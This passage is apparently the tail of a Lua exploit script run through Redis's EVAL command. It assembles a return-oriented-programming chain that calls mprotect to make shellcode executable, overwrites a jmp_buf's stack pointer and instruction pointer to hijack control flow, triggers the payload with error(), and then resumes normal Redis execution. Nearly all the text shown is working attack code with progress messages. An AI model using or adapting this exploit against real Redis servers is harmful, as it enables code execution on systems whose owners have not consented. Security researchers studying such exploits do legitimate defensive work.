\"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n          \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n          \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\n           --[[ poprdipoprbp, ]] rdi, dummy,\n           rop_addresses.poprsipoprbp, rsi, dummy,\n           rop_addresses.poprbxpopr14poprbp, poprbp, rdx_all, dummy,\n           rop_addresses.movrdxr14callrbx,\n           mprotect_addr,\n\n           shellcode_ptr,\n\n           rop_addresses.poprdipoprbp, rdi, dummy,\n           rop_addresses.poprsipoprbp, rsi, dummy,\n           rop_addresses.poprbxpopr14poprbp, poprbp, rdx_read_write, dummy,\n           rop_addresses.movrdxr14callrbx,\n           mprotect_addr,\n\n           rop_addresses.poprdipoprbp, old_jump_buf_addr, dummy,\n           longjmp_addr,\n\n           \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\n         }\n\n  payload_str = table.concat(payload, \"\")\n\n  local payload_string_addr = addint(cstring(payload_str), 4096)\n\n  print(\"[*] new sp \" .. dump8(payload_string_addr))\n\n  --[[ TODO: we always seem to get back strings that are correctly 16 byte aligned. handle unaligned strings? ]]\n  if (string.byte(payload_string_addr, 1) % 16) ~= 8 then\n    fail(\"payload not aligned\")\n  end\n\n\n  write_word(jmp_buf_sp, payload_string_addr)\n  write_word(jmp_buf_eip, rop_addresses.poprdipoprbp)\n\n  --[[ you can also overwrite the SP at stackpointer - 16 .\n  but if we corrupt long jump then it is possible to return back into redis :) ]]\n\n  print(\"[*] executing payload\")\n  error(\"wat\")\nend)\n\ncoroutine.resume(co)\n\nprint(\"[*] resumed normal redis execution\")\n\ncollectgarbage()\n\nreturn 42\n" 0